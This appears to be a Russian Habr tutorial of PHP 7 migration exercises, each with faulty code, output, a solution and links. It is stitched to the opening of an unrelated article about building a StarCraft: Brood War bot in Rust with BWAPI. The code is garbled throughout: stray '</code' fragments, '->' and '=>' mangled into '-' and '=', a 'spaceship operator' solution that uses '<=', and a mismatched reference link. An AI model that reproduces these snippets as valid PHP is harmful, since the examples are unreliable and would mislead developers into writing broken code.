1. [Какие альтернативные PHP-теги были удалены, а какие оставлены?](https://wiki.php.net/rfc/remove_alternative_php_tags#proposal)
#### **Упражнение 3**. Функция ereg\_replace является устаревшей, замените ее на preg\_replace
```
php
if (ereg_replace("PHP([3-6])", "PHP7", "PHP6")) {
echo "Next step !";
}
</code
```
```
// результат
Uncaught Error: Call to undefined function ereg_replace() in /tmp/__hoa_6b3Hmf:3
Stack trace:
#0 /tmp/__hoa_f8PIGz(52): require()
#1 {main}
thrown on line 3
```
**Решение**
```
php
if (preg_replace("/PHP([3-6])/", "PHP7", "PHP6")) {
echo "Next step !";
}
// результат
Next step !
</code
```
##### **К прочтению:**
1. [Устаревшие расширения](https://wiki.php.net/rfc/removal_of_dead_sapis_and_exts#introduction)
2. [Регулярные выражения в PHP](http://phpfaq.ru/tech/regexp)
3. [Поиск и замена по регулярному выражению](http://php.net/manual/ru/function.preg-replace.php)
4. [Шаблоны](http://www.php.su/articles/?cat=regexp&page=008)
5. [Производительность](http://php.net/manual/ru/regexp.reference.performance.php)
#### **Упражнение 4**. PHP4 конструкторы признаны устаревшими, используйте \_\_construct
```
php
class Foo
{
public function foo()
{
}
}
echo "Next step !";
</code
```
```
// результат
Methods with the same name as their class will not be constructors in a future version of PHP; Foo has a deprecated constructor on line 3
```
**Решение**
```
php
class Foo
{
public function __construct()
{
}
}
echo "Next step !";
// результат
Next step !
</code
```
##### **К прочтению:**
1. [Устаревший конструктор](https://wiki.php.net/rfc/remove_php4_constructors#proposal)
2. [Конструктор (объектно-ориентированное программирование)](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BA%D1%82%D0%BE%D1%80_(%D0%BE%D0%B1%D1%8A%D0%B5%D0%BA%D1%82%D0%BD%D0%BE-%D0%BE%D1%80%D0%B8%D0%B5%D0%BD%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5))
3. [Для чего нужны классы?](http://ru.stackoverflow.com/questions/170336/%D0%94%D0%BB%D1%8F-%D1%87%D0%B5%D0%B3%D0%BE-%D0%BD%D1%83%D0%B6%D0%BD%D1%8B-%D0%BA%D0%BB%D0%B0%D1%81%D1%81%D1%8B)
4. [Зачем нужен ООП?](https://toster.ru/q/185949)
5. [Объектно-ориентированное программирование](https://ru.wikibooks.org/wiki/%D0%9E%D0%B1%D1%8A%D0%B5%D0%BA%D1%82%D0%BD%D0%BE-%D0%BE%D1%80%D0%B8%D0%B5%D0%BD%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)
6. [Основы ООП в PHP](http://php.net/manual/ru/language.oop5.basic.php)
7. [Перестаньте писать классы](https://habrahabr.ru/post/140581/)
8. [Плюсы и минусы объектно-ориентированного программирования](http://www.uni-vologda.ac.ru/oberon/infoart/plus&min.htm)
#### **Упражнение 5**. Множественные конструкции по умолчанию в операторе switch теперь запрещены, удалите первый
```
php
switch ('') {
default:
echo "Doesn't pass here ...";
break;
default:
echo "Next step !";
}
</code
```
```
// результат
Switch statements may only contain one default clause on line 7
```
**Решение**
```
php
switch ('') {
default:
echo "Next step !";
}
// результат
Next step !
</code
```
##### **К прочтению:**
1. [Почему возникает синтаксическая ошибка в определении нескольких случаев по умолчанию в операторе switch?](https://wiki.php.net/rfc/switch.default.multiple#introduction)
2. [Оператор switch](http://php.net/manual/ru/control-structures.switch.php)
#### **Упражнение 6**. Используйте spaceship-оператор (<=>) для сортировки массива
```
php
$users = ['Pierre', 'Paul', 'Next step !'];
usort($users, function ($a, $b) {
});
echo current($users);
</code
```
```
// результат
Pierre
```
**Решение**
```
php
$users = ['Pierre', 'Paul', 'Next step !'];
usort($users, function ($a, $b) {
return $a <= $b;
});
echo current($users);
// результат
Next step !
```
##### **К прочтению:**
1. [Новый оператор](https://wiki.php.net/rfc/combined-comparison-operator#proposal)
2. [Что это за оператор shaceship <=>?](http://stackoverflow.com/questions/30365346/what-is-the-spaceship-operator-in-php-7)
3. [usort — сортирует массив по значениям, используя пользовательскую функцию для сравнения элементов](http://php.net/manual/ru/function.usort.php)
4. [Внутренний указатель](http://php.net/manual/ru/function.current.php)
#### **Упражнение 7**. Используйте оператор объединения со значением NULL (??)
```
php
echo $_GET['query'] ? $_GET['query'] : "Next step !";
</code
```
```
// результат
Undefined index: query on line 3
```
**Решение**
```
php
echo $_GET['query'] ?? "Next step !";
// результат
Next step !
</code
```
##### **К прочтению:**
1. [Новый оператор](https://wiki.php.net/rfc/isset_ternary#proposal)
2. [Null coalescing operator](https://en.wikipedia.org/wiki/Null_coalescing_operator#PHP)
3. [Simple PHP isset test](http://stackoverflow.com/questions/1248864/simple-php-isset-test)
4. [isset() vs empty() vs is\_null()](https://www.virendrachandak.com/techtalk/php-isset-vs-empty-vs-is_null/)
#### **Упражнение 8**. Оператор объединения со значением NULL (??) не проверяет значение в определенных случаях, измените правый операнд в условии
```
php
$_GET['title'] = false; // если убрать эту строчку, тогда условие сработает
$query = $_GET['title'] ?? '*'; // true
// вам необходимо модифицировать условие
if($query === '*') {
echo "Next step !";
}
</code
```
```
// результат
```
**Решение**
```
php
$_GET['title'] = false;
$query = $_GET['title'] ?? '*';
if($query === false) {
echo "Next step !";
}
// результат
Next step !
</code
```
##### **К прочтению:**
1. [Частный случай](https://josephscott.org/archives/2015/06/php-null-coalescing-operator/)
#### **Упражнение 9**. Оператор объединения со значением NULL (??) не проверяет значение в определенных случаях, измените значение $b
```
php
$b = false;
echo $a ?? $b ?? "Next step !";
</code
```
```
// результат
```
**Решение**
```
php
$b = null;
echo $a ?? $b ?? "Next step !";
// результат
Next step !
</code
```
##### **К прочтению:**
1. [Пример работы оператора](https://3v4l.org/kqgib#version=7.0.7)
#### **Упражнение 10**. Можно сгруппировать пространства имен с одинаковым префиксом. Сгруппируйте их в примере.
```
php
use Foo\Bar\Email;
use Foo\Bar\Phone;
use Foo\Bar\Address\Code;
use Foo\Bar\Address\Number;
echo "Next step !";
</code
```
```
// результат
Next step !
```
**Решение**
```
php
use Foo\Bar\{
Email,
Phone,
Address\Code,
Address\Number
};
echo "Next step !";
// результат
Next step !
</code
```
##### **К прочтению:**
1. [Пространство имён (программирование)](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D1%81%D1%82%D1%80%D0%B0%D0%BD%D1%81%D1%82%D0%B2%D0%BE_%D0%B8%D0%BC%D1%91%D0%BD_(%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5))
2. [Обзор пространств имен](http://php.net/manual/ru/language.namespaces.rationale.php)
3. [Пространства имен в PHP, разъяснение](https://habrahabr.ru/post/212773/)
4. [Пространства имен в PHP](https://habrahabr.ru/post/245893/)
5. [Краткое введение в PHP Пространства имен](https://mattstauffer.co/blog/a-brief-introduction-to-php-namespacing)
#### **Упражнение 11**. Некоторые ключевые слова разрешено теперь использовать в названиях методов (list, foreach, new, ..)
```
php
class Foo
{
// Переименуйте метод
public function getList()
{
return "Next step !";
}
}
echo (new Foo)-list();
```
```
// результат
Uncaught Error: Call to undefined method Foo::list() in /tmp/__hoa_FmqgZ0:12
Stack trace:
#0 /tmp/__hoa_LbZpe8(52): require()
#1 {main}
thrown on line 12
```
**Решение**
```
php
class Foo
{
public function list()
{
return "Next step !";
}
}
echo (new Foo)-list();
// результат
Next step !
```
##### **К прочтению:**
1. [Ключевые слова](https://wiki.php.net/rfc/context_sensitive_lexer#proposal)
#### **Упражнение 12**. Используйте более безопасные функции для генерации случайных чисел
```
php
$randomInt = mt_rand(0, 42);
echo $randomInt;
</code
```
```
// результат
5
```
**Решение**
```
php
$randomInt = random_int(0, 42);
echo $randomInt;
// результат
1
</code
```
##### **К прочтению:**
1. [Криптографически безопасная функция для получения псевдослучайных целых чисел](http://php.net/manual/ru/function.random-int.php)
2. [В чем недостаток mt\_rand?](http://stackoverflow.com/questions/7808021/whats-the-disadvantage-of-mt-rand)
3. [Разница между mt\_rand() и rand()](http://stackoverflow.com/questions/28760650/difference-between-mt-rand-and-rand)
#### **Упражнение 13**. Используйте новую функцию preg\_replace\_callback\_array
```
php
// Use preg_replace_callback_array instead of preg_replace_callback
echo preg_replace_callback(
array(
"/PHP6/",
"/PHP7/"
),
function($matches) {
if(strpos($matches[0], 'PHP6') === 0) {
return 'Ko !';
} else {
return "Next step !";
}
},
'PHP7'
);
</code
```
```
// результат
Next step !
```
**Решение**
```
php
// preg_replace_callback_array вместо preg_replace_callback
echo preg_replace_callback_array(
array(
"/PHP6/" = function() { return "Ko !"; },
"/PHP7/" => function() { return "Next step !"; },
),
'PHP7'
);
// результат
Next step !
```
##### **К прочтению:**
1. [Поиск по регулярному выражению и замена с использованием функции обратного вызова](http://php.net/manual/ru/function.preg-replace-callback-array.php)
2. [Работа с preg\_replace\_callback\_array](https://www.youtube.com/watch?v=tTMn1dOs2-E)
#### **Упражнение 14**. Теперь можно создавать анонимные классы. Использовать анонимный класс вместо MyMessage
```
php
class Logger
{
public static function write(Message $message)
{
echo $message-getText();
}
}
interface Message
{
public function getText();
}
class MyMessage implements Message
{
public function getText() { return "Next step !"; }
}
Logger::write(new MyMessage());
```
```
// результат
Next step !
```
**Решение**
```
php
class Logger
{
public static function write(Message $message)
{
echo $message-getText();
}
}
interface Message
{
public function getText();
}
$message = (new class() implements Message {
public function getText() { return "Next step !"; }
});
Logger::write($message);
// результат
Next step !
```
##### **К прочтению:**
1. [Интерфейсы объектов](http://php.net/manual/ru/language.oop5.interfaces.php)
2. [В чем суть интерфейсов в PHP?](http://www.cyberforum.ru/php-oop/thread603078.html)
3. [Шаблон программирования «Текучий интерфейс» в PHP. Свежий взгляд](https://habrahabr.ru/post/170019/)
4. [Абстрактные классы](http://php.net/Abstract)
5. [Абстрактные классы и интерфейсы в PHP](http://www.techflirt.com/tutorials/oop-in-php/abstract-classes-interface.html)
6. [Отличия абстрактного класса от интерфейса](http://www.quizful.net/interview/php/abstract-class-interface-difference)
#### **Упражнение 15**. Добавьте тип int к аргументам функции add
```
php
function add($a, $b)
{
return $a + $b;
}
if(add(5.5, 5) === 10) {
echo "Next step !";
}
</code
```
```
// результат
```
**Решение**
```
php
function add(int $a, int $b)
{
return $a + $b;
}
if(add(5.5, 5) === 10) {
echo "Next step !";
}
// результат
Next step !
</code
```
##### **К прочтению:**
1. [Тип данных](https://ru.wikipedia.org/wiki/%D0%A2%D0%B8%D0%BF_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85)
2. [Введение в типы данных PHP](http://php.net/manual/ru/language.types.intro.php)
3. [На сегодняшний день, использование скалярных и смешанных типов данных в PHP 7 не повышает производительности](http://stackoverflow.com/questions/32940170/are-scalar-and-strict-types-in-php7-a-performance-enhancing-feature)
#### **Упражнение 16**. По умолчанию PHP отливает значение ожидаемого типа. Модифицируйте правый операнд условия
```
php
function add(int $a, int $b)
{
return $a + $b;
}
// Модифицируйте правый операнд
if(add(5.5, 5.5) === 11) {
echo "Next step !";
}
</code
```
```
// результат
```
**Решение**
```
php
function add(int $a, int $b)
{
return $a + $b;
}
if(add(5.5, 5.5) === 10) {
echo "Next step !";
}
// результат
Next step !
</code
```
##### **К прочтению:**
1. [Инициализация скалярных типов в PHP 7](http://www.techflirt.com/scalar-type-declarations-in-php-7)
#### **Упражнение 17**. Используйте строгий режим, если хотите перехватывать ошибки, в случае когда функция получает не тот тип, который ожидает. Исправьте на float.
```
php
declare(strict_types = 1);
function add(int $a, int $b)
{
return (int)($a + $b);
}
if(add(5.5, 5.5) === 11) {
echo "Next step !";
}
</code
```
```
// результат
Uncaught TypeError: Argument 1 passed to add() must be of the type integer, float given, called in /tmp/__hoa_FKwVHc on line 10 and defined in /tmp/__hoa_FKwVHc:5
Stack trace:
#0 /tmp/__hoa_FKwVHc(10): add(5.5, 5.5)
#1 /tmp/__hoa_rejBtd(52): require('/tmp/__hoa_FKwV...')
#2 {main}
thrown on line 5
```
**Решение**
```
php
declare(strict_types = 1);
function add(float $a, float $b)
{
return (int)($a + $b);
}
if(add(5.5, 5.5) === 11) {
echo "Next step !";
}
// результат
Next step !
</code
```
##### **К прочтению:**
1. [Манипуляции с типами данных](http://php.net/manual/ru/language.types.type-juggling.php)
2. [Установка директив](http://php.net/manual/ru/control-structures.declare.php)
3. [Контроль типа](http://php.net/manual/ru/language.oop5.typehinting.php)
4. [Встроенные директивы](http://php.net/manual/ru/ini.core.php)
#### **Упражнение 18**. Используйте строгий режим для встроенных функций
```
php
declare(strict_types = 1);
strlen(42);
echo "Next step !";
</code
```
```
// результат
Uncaught TypeError: strlen() expects parameter 1 to be string, integer given in /tmp/__hoa_0HYwi9:3
Stack trace:
#0 /tmp/__hoa_CjotyX(52): require()
#1 {main}
thrown on line 3
```
**Решение**
```
php
declare(strict_types = 1);
strlen('42');
echo "Next step !";
// результат
Next step !
</code
```
##### **К прочтению:**
1. [Справочник стандартных функций](http://php.net/manual/ru/funcref.php)
2. [Встроенные функции в PHP](https://www.youtube.com/watch?v=iM5Ku3ZCMD4)
3. [Встроенные расширения PHP](http://php.net/manual/ru/extensions.alphabetical.php)
4. [Стандартная библиотека PHP (SPL)](http://php.net/manual/ru/book.spl.php)
#### **Упражнение 19**. Директива strict\_types должна идти первой строкой
```
php
echo "Next step !";
declare(strict_types = 1);
</code
```
```
// результат
strict_types declaration must be the very first statement in the script on line 5
```
**Решение**
```
php
declare(strict_types = 1);
echo "Next step !";
// результат
Next step !
</code
```
##### **К прочтению:**
1. [declare используется для установки директив исполнения для блока кода](http://php.net/manual/en/control-structures.declare.php)
#### **Упражнение 20**. Теперь можно указать тип возвращаемого значения у функции или метода. Укажите тип возвращаемого значения у функции
```
php
function reverse(string $string): type
{
return strrev($string);
}
echo reverse("! pets txeN");
</code
```
```
// результат
Uncaught TypeError: Return value of reverse() must be an instance of type, string returned in /tmp/__hoa_ZcQkYd:5
Stack trace:
#0 /tmp/__hoa_ZcQkYd(8): reverse('! pets txeN')
#1 /tmp/__hoa_7JLJ4t(52): require('/tmp/__hoa_ZcQk...')
#2 {main}
thrown on line 5
```
**Решение**
```
php
function reverse(string $string): string
{
return strrev($string);
}
echo reverse("! pets txeN");
echo "Next step !";
// результат
Next step !
</code
```
##### **К прочтению:**
1. [Возврат значений](http://php.net/manual/ru/functions.returning-values.php)
2. [Какая разница между возвращаемым и не возвращаемым значением в PHP?](http://stackoverflow.com/questions/6018463/whats-the-difference-between-return-and-no-return)
3. [Выигрываем ли мы в производительности, если подсказываем функции ожидаемый тип в PHP?](http://stackoverflow.com/questions/23371432/what-is-the-performance-overhead-of-type-hinting-in-php)
4. [Существуют ли правила для возвращаемого значения у пользовательской булевской функции?](http://stackoverflow.com/questions/12834666/convention-of-setting-return-type-in-php-boolean-functions)
#### **Упражнение 21**. По умолчанию, PHP выбросит ожидаемый тип. Исправьте возвращаемый тип у функции
```
php
// Пример: function foo(): int { return 5.5; } echo foo(); // 5
function add(float $a, float $b): int
{
return $a + $b;
}
// Модифицируйте правый операнд
if(add(5.3, 5.3) === 10.6) {
echo 'Next step !';
}
</code
```
```
// результат
```
**Решение**
```
php
function add(float $a, float $b): int
{
return $a + $b;
}
// Modify the right operand.
if(add(5.3, 5.3) === 10) {
echo 'Next step !';
}
// результат
Next step !
</code
```
##### **К прочтению:**
1. [Возвращение по ссылке](https://wiki.php.net/rfc/return_types#returning_by_reference)
2. [Руководство по работе со ссылками](http://php.net/manual/ru/language.references.php)
#### **Упражнение 22**. Определение унаследованного класса должно возвращать один и тот же тип своего родителя
```
php
class Child {}
class ChildB extends Child {}
abstract class A
{
abstract public function foo(): Child;
}
class B extends A
{
public function foo(): ChildB
{
return new ChildB;
}
}
echo "Next step !";
</code
```
```
// результат
Declaration of B::foo(): ChildB must be compatible with A::foo(): Child on line 17
```
**Решение**
```
php
class Child {}
class ChildB extends Child {}
abstract class A
{
abstract public function foo(): Child;
}
class B extends A
{
public function foo(): Child
{
return new ChildB;
}
}
echo "Next step !";
// результат
Next step !
</code
```
##### **К прочтению:**
1. [Немного о наследовании и о переопределении методов, чем о полиморфизме](https://habrahabr.ru/post/37576/)
2. [Что такое полиморфизм на самом деле. В PHP он тоже существует](https://habrahabr.ru/post/37610/)
2. [Когда подтип перекрывает родительский метод, то тип возвращаемого дочернего метода должен точно соответствовать родительскому](https://wiki.php.net/rfc/return_types#variance_and_signature_validation)
4. [Отличный образовательный курс по изучению ООП на PHP](http://phpenthusiast.com/object-oriented-php-tutorials)
#### **Упражнение 23**. Теперь можно использовать юникод-последовательность для описания символов
```
php
// Модифицируйте левый операнд
if("\?{26C4}" === '') {
echo "Next step !";
}
</code
```
```
// результат
```
**Решение**
```
php
// Modify the left operand.
if("\u{26C4}" === '') {
echo "Next step !";
}
// результат
Next step !
</code
```
##### **К прочтению:**
1. [Юникод](https://habrahabr.ru/post/135913/)
2. [Символов Unicode в PHP строке](http://stackoverflow.com/questions/6058394/unicode-character-in-php-string)
3. [Поддержка юникод управляющих (escape-) последовательностей](https://wiki.php.net/rfc/unicode_escape#introduction)
#### **Упражнение 24**. Была добавлена новая опция в стандартную функцию unserialize(), теперь разрешается указывать классы. Укажите класс в функции unserialize()
```
php
class MyClass { }
$myClassSerialized = serialize(new MyClass());
$myClass = unserialize(
$myClassSerialized,
["allowed_classes" = ['']]
);
if($myClass instanceOf MyCLass) {
echo "Next step !";
}
```
```
// результат
```
**Решение**
```
php
class MyClass { }
$myClassSerialized = serialize(new MyClass());
$myClass = unserialize(
$myClassSerialized,
["allowed_classes" = ['MyClass']]
);
if($myClass instanceOf MyCLass) {
echo "Next step !";
}
// результат
Next step !
```
##### **К прочтению:**
1. [unserialize](https://wiki.php.net/rfc/secure_unserialize#proposal)
2. [Как использовать в PHP serialize() и unserialize( )?](http://stackoverflow.com/questions/8641889/how-to-use-php-serialize-and-unserialize)
3. [Оператор проверки типа](http://php.net/manual/ru/language.operators.type.php)
#### **Упражнение 25**. Делегирование генераторов позволяет вернуть другую итерабельную структуру — будь то объект, массив, итератор или другой генератор. Включите в генератор другой генератор
```
php
function generator()
{
yield 1; // 'yield' означает «вернуть значение и продолжить с этого места при следующем вызове функции
yield 2;
// включите в генератор другой генератор
}
function subGenerator()
{
yield 3;
yield 4;
yield "Next step !";
}
$generator = generator();
foreach($generator as $value) {
echo $value.PHP_EOL;
}
</code
```
```
// результат
1 2
```
**Решение**
```
php
function generator()
{
yield 1;
yield 2;
yield from subGenerator();
}
function subGenerator()
{
yield 3;
yield 4;
yield "Next step !";
}
$generator = generator();
foreach($generator as $value) {
echo $value.PHP_EOL;
}
// результат
1 2 3 4 Next step !
</code
```
##### **К прочтению:**
1. [Поддержка генераторов и сопрограмм: суть генератора в том, что это функция, которая возвращает не просто одно значение, а последовательность значений](http://stackoverflow.com/questions/8641889/how-to-use-php-serialize-and-unserialize)
2. [Генераторы в действии](https://habrahabr.ru/post/189796/)
3. [Экономим память с помощью генераторов](http://ruseller.com/lessons.php?rub=37&id=2690)
4. [Делегирование генераторов](https://wiki.php.net/rfc/generator-delegation#formally)
5. [Про утечку ресурсов в генераторах PHP](http://ru-php.livejournal.com/1566325.html)
#### **Упражнение 26**. Вы можете использовать замыкания у функций. Новый интерпретатор работает слева направо
```
php
function foo()
{
return function() { echo "Next step !"; };
}
// Воспользуйтесь замыканием функции foo в этой строке
</code
```
```
// результат
```
**Решение**
```
php
function foo()
{
return function() { echo "Next step !"; };
}
// или: $foo = foo(); $foo();
foo()();
// результат
Next step !
</code
```
##### **К прочтению:**
1. [Анонимная функция (лямбда-функция)](https://ru.wikipedia.org/wiki/%D0%90%D0%BD%D0%BE%D0%BD%D0%B8%D0%BC%D0%BD%D0%B0%D1%8F_%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D1%8F)
2. [Анонимные функции (замыкания) в PHP: не стоит путать с замыканиями в JavaScript](http://webnotes.by/docs/php/240)
3. [Применение замыканий в PHP](https://habrahabr.ru/post/147620/)
#### **Упражнение 27**. Исправьте синтаксис, чтобы вызвать переменную $c из $a
```
php
$a = ['b' = 'c'];
$c = 'Next step !';
// Этот код выведет Next step ! в PHP5
echo $$a['b'];
```
```
// результат
Undefined variable: Array on line 7
```
**Решение**
```
php
$a = ['b' = 'c'];
$c = 'Next step !';
echo ${$a['b']};
// результат
Next step !
```
##### **К прочтению:**
1. [Универсальный синтаксис](https://wiki.php.net/rfc/uniform_variable_syntax#introduction)
#### **Упражнение 28**. Теперь, чтобы поймать исключение необходимо использовать класс Error
```
php
try { // Принудительно вызываем ошибку
undefinedFunction();
} catch(Exception $e) {
echo "Next step !";
}
</code
```
```
// результат
Uncaught Error: Call to undefined function undefinedFunction() in /tmp/__hoa_PaBzqc:4
Stack trace:
#0 /tmp/__hoa_SQZOZG(52): require()
#1 {main}
thrown on line 4
```
**Решение**
```
php
try {
undefinedFunction();
} catch(Error $e) {
echo "Next step !";
}
// результат
Next step !
</code
```
##### **К прочтению:**
1. [Обработка исключений](https://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B0_%D0%B8%D1%81%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%BD%D0%B8%D0%B9)
2. [Зачем нужна обработка исключений?](http://ru.stackoverflow.com/questions/140546/%D0%97%D0%B0%D1%87%D0%B5%D0%BC-%D0%BD%D1%83%D0%B6%D0%BD%D0%B0-%D0%BE%D0%B1%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B0-%D0%B8%D1%81%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%BD%D0%B8%D0%B9)
3. [Исключения в PHP](http://php.net/manual/ru/language.exceptions.php)
4. [Throwable exception и ошибки в PHP 7](https://habrahabr.ru/post/261451/)
#### **Упражнение 29**. Можно использовать также класс TypeError для обработки исключений
```
php
declare(strict_types = 1);
function add(int $a, int $b): int
{
return $a + $b;
}
// Catch the TypeError
try {
echo add('1', '1');
} catch(Exception $e) {
echo "Next step !";
}
</code
```
```
// результат
Uncaught TypeError: Argument 1 passed to add() must be of the type integer, string given, called in /tmp/__hoa_FvS6wW on line 12 and defined in /tmp/__hoa_FvS6wW:5
Stack trace:
#0 /tmp/__hoa_FvS6wW(12): add('1', '1')
#1 /tmp/__hoa_kfhSdT(52): require('/tmp/__hoa_FvS6...')
#2 {main}
thrown on line 5
```
**Решение**
```
php
declare(strict_types = 1);
function add(int $a, int $b): int
{
return $a + $b;
}
// Catch the TypeError
try {
echo add('1', '1');
} catch(TypeError $e) {
echo "Next step !";
}
// результат
Next step !
</code
```
##### **К прочтению:**
1. [Виды исключений в PHP](https://trowski.com/2015/06/24/throwable-exceptions-and-errors-in-php7/)
#### **Упражнение 30**. Используйте Throwable, чтобы отлавливать исключения и ошибки (общий интерфейс Errors, Exceptions)
```
php
// исправьте неверный класс CallErrorAndException
try {
if(random_int(0, 1) === 1) {
throw new Exception('');
}
undefined();
} catch(CallErrorAndException $e) {
echo "Next step !";
}
</code
```
```
// результат
Undefined offset: -1 on line 55
```
**Решение**
```
php
try {
if(random_int(0, 1) === 1) {
throw new Exception('');
}
undefined();
} catch(Throwable $e) {
echo "Next step !";
}
// результат
Next step !
</code
```
##### **К прочтению:**
1. [Исключение != ошибка](https://habrahabr.ru/post/130597/)
2. [Использование Throwable](https://mofsy.ru/349-isklyucheniya-v-php-7.html)
3. [Пример деления на ноль](https://3v4l.org/ORXUi#version=7.0.7)
#### **Упражнение 31**. Используйте DivisionByZeroError при делении на ноль
```
php
try {
10 % 0;
} catch(CatchError $e) {
echo "Next step !";
}
</code
```
```
// результат
Uncaught DivisionByZeroError: Modulo by zero in /tmp/__hoa_46SBwZ:5
Stack trace:
#0 /tmp/__hoa_UQ8f3n(52): require()
#1 {main}
thrown on line 5
```
**Решение**
```
php
try {
10 % 0;
} catch(DivisionByZeroError $e) {
echo "Next step !";
}
// результат
Next step !
</code
```
##### **К прочтению:**
1. [DivisionByZeroError](http://php.net/manual/en/class.divisionbyzeroerror.php)
#### **Упражнение 32**. Не используйте шестнадцатеричные числа в строках
```
php
// var_dump(12 == "0xC"); // true в PHP 5
// var_dump(12 == "0xC"); // false в PHP 7
// Исправьте левый операнд
if('0x2A' == 42) {
echo "Next step !";
}
</code
```
```
// результат
```
**Решение**
```
php
if(0x2A == 42) {
echo "Next step !";
}
// результат
Next step !
</code
```
##### **К прочтению:**
1. [Приведение типов в PHP == табурет о двух ножках?](https://habrahabr.ru/post/259497/)
2. [Приведение типа](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B8%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D1%82%D0%B8%D0%BF%D0%B0)
3. [Удалена поддержка шестнадцатеричных чисел в строках](https://wiki.php.net/rfc/remove_hex_support_in_numeric_strings#introduction)
#### **Упражнение 33**. Явный возврат финального значения генератора позволяет обрабатывать значение непосредственно в коде, вызывающем генератор
```
php
// используйте Generator::getReturn() для возврата финального значения
function generator()
{
yield 21;
yield 21;
return true;
}
$generator = generator();
foreach($generator as $number) { }
if($generator-callReturn() === true) {
echo "Next step !";
}
```
```
// результат
Uncaught Error: Call to undefined method Generator::callReturn() in /tmp/__hoa_eOhq2B:14
Stack trace:
#0 /tmp/__hoa_sa29ov(52): require()
#1 {main}
thrown on line 14
```
**Решение**
```
php
function generator()
{
yield 21;
yield 21;
return true;
}
$generator = generator();
foreach($generator as $number) { }
if($generator-getReturn() === true) {
echo "Next step !";
}
// результат
Next step !
```
##### **К прочтению:**
1. [Возврат финального значения](https://wiki.php.net/rfc/generator-return-expressions#proposal)
#### **Упражнение 34**. Невозможно получить финальное значение, если внутренний указатель не указывает на него
```
php
function generator()
{
yield 21;
yield 21;
return "Next step !";
}
$generator = generator();
$generator-next();
echo $generator->getReturn();
```
```
// результат
// caught: Cannot get return value of a generator that hasn't returned
```
**Решение**
```
php
function generator()
{
yield 21;
yield 21;
return "Next step !";
}
$generator = generator();
$generator-next();
$generator->next();
echo $generator->getReturn();
// результат
Next step !
```
##### **К прочтению:**
1. [Как сказать по-русски слово yield???](https://toster.ru/q/247672)
#### **Упражнение 35**. Вы не можете использовать одинаковые названия аргументов в прототипе функции
```
php
function foo($a, $a)
{
return $a;
}
echo foo("Next ", "step !"); // В PHP5: step !
</code
```
```
// результат
Redefinition of parameter $a on line 4
```
**Решение**
```
php
function foo($a, $b)
{
return $a . $b;
}
echo foo("Next ", "step !");
// результат
Next step !
</code
```
##### **К прочтению:**
1. [Аргументы функции](http://php.net/manual/ru/functions.arguments.php)
#### **Упражнение 36**. Теперь можно создать массив (группу) констант
```
php
$conf = [
'user' = 'root',
'password' => 'my_password',
'step' => 'Next step !'
];
// определите CONFIGURATION как константу
echo CONFIGURATION['step'];
```
```
// результат
/*
*
* **Warning**: Illegal string offset 'step' in **/tmp/\_\_hoa\_dBF385** on line **11**
*/
```
**Решение**
```
php
$conf = [
'user' = 'root',
'password' => 'my_password',
'step' => 'Next step !'
];
define('CONFIGURATION', $conf);
echo CONFIGURATION['step'];
// результат
Next step !
```
##### **К прочтению:**
1. [Константы](http://php.net/manual/ru/language.constants.php)
2. [«Волшебные» константы](http://php.net/manual/ru/language.constants.predefined.php)
3. [define() vs const](http://stackoverflow.com/questions/2447791/define-vs-const) | https://habr.com/ru/post/302942/ | null | ru | null |
# Бот для Starcraft на Rust, C и на любом другом языке
 [StarCraft: Brood War](https://ru.wikipedia.org/wiki/StarCraft:_Brood_War). Как много это значит для меня. И для многих из вас. Настолько много, что я засомневался, давать ли ссылку на вики.
Как-то раз мне в личку постучался [Halt](https://habr.com/ru/users/halt/) и предложил выучить [Rust](https://www.rust-lang.org/ru-RU/). Как и любые нормальные люди, мы решили начать с ~~hello world~~ написания динамической библиотеки под Windows, которая могла бы загружаться в адресное пространство игры StarCraft и управлять юнитами.
В статье будет описан процесс поиска решений, использования технологий, приемов, которые позволят вам почерпнуть новое в языке Rust и его экосистеме или вдохновиться для реализации бота на своем любимом языке, будь то C, C++, ruby, python, e.t.c.
Эту статью стоит читать непременно под гимн Южной Кореи:
**Starcraft OST**
BWAPI
-----
Этой игре уже 20 лет. И она до сих пор [популярна](https://sc2casts.com/cast21714-Flash-vs-Soulkey-BO5-in-1-video-2017-Starcraft-1-ASL-S3-Semi-Finals), чемпионаты собирают целые залы людей в США даже [в 2017 году](https://www.youtube.com/watch?v=k_lJFddF27I), где состоялась битва грандмастеров Jaedong vs Bisu. Помимо живых игроков, в битвах участвуют и [бездушные машины](http://www.cs.mun.ca/~dchurchill/starcraftaicomp/)! И это возможно благодаря [BWAPI](https://github.com/bwapi/bwapi). Больше полезных [ссылок](https://github.com/bwapi/bwapi/wiki/Useful-Links).
Уже более десяти лет вокруг этой игры существует сообщество разработчиков ботов. Энтузиасты пишут ботов и участвуют в различных чемпионатах. Многие из них изучают ИИ и машинное обучение. BWAPI используется университетами для обучения своих студентов. Существует даже [твитч канал](https://www.twitch.tv/sscait), который транслирует игры.
Итак, команда фанатов несколько лет назад отреверсила внутреннести Starcraft и написала на C++ API, которое позволяет писать ботов, внедряться в процесс игры и господствовать над жалкими людишками.
